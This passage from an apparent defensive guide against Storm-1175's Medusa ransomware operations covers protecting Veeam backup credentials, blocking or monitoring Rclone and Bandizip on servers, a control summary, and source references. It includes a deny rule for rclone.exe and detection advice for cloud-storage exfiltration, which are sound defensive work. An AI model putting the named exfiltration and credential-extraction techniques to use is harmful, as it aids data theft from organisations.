Storm-1175 uses dedicated scripts to extract Veeam Backup credentials from the Veeam SQL database. Backup service accounts should use credentials not present in domain Active Directory. N-central agents should not have administrative access to backup infrastructure. Apply the 3-2-1 rule: three copies, two media types, and one offsite copy. Test restoration from the most isolated copy regularly.

Confirm that Veeam database access requires credentials not shared with domain accounts and that Veeam configuration ports are not accessible from general management networks.

### 8. Block or monitor Rclone, Bandizip, and cloud-sync tools on servers

**Priority:** Quick win

Rclone and Bandizip are not standard server software. Alert on their presence and execution on server-class machines, particularly when running cloud-sync or archive arguments uploading to external cloud storage. Block Rclone via AppLocker or WDAC on servers where it is not explicitly required.

Use a software-restriction policy or WDAC rule denying `rclone.exe` on servers. Monitor NetFlow for sustained outbound volume from servers to cloud-storage endpoints exceeding established baselines.

Controls 1 and 2 address RMM-platform initial access. Controls 3 and 4 protect credential stores and block kernel-level EDR bypass. Controls 5 and 6 reduce the attacker's ability to disable defenses and blend C2 with legitimate administration. Controls 7 and 8 preserve recovery options and reduce the exfiltration surface. None substitute for behavioral detection coverage at each stage.

## Primary references

- [Microsoft Security Blog — Storm-1175 focuses on vulnerable web-facing assets in high-tempo Medusa ransomware operations](https://www.microsoft.com/en-us/security/blog/2026/04/06/storm-1175-focuses-gaze-on-vulnerable-web-facing-assets-in-high-tempo-medusa-ransomware-operations/) — Apr 2026
- [CISA — Known Exploited Vulnerabilities Catalog: CVE-2026-18577 (N-able N-central)](https://www.cisa.gov/news-events/alerts/2026/08/03/cisa-adds-one-known-exploited-vulnerability-catalog) — Aug 2026
- [N-able — N-central security update: CVE-2026-18577 / CVE-2026-18556 advisory and hotfix guidance](https://www.n-able.com/blog/n-central-security-update-august-2-2026) — Aug 2026
- [Help Net Security — Attackers exploit N-able N-central flaw to reach managed endpoints (CVE-2026-18577)](https://www.helpnetsecurity.com/2026/08/03/cve-2026-18577-n-able-n-central-vulnerability/) — Aug 2026
- [MITRE ATT&CK — Enterprise framework reference](https://attack.mitre.org/) — Current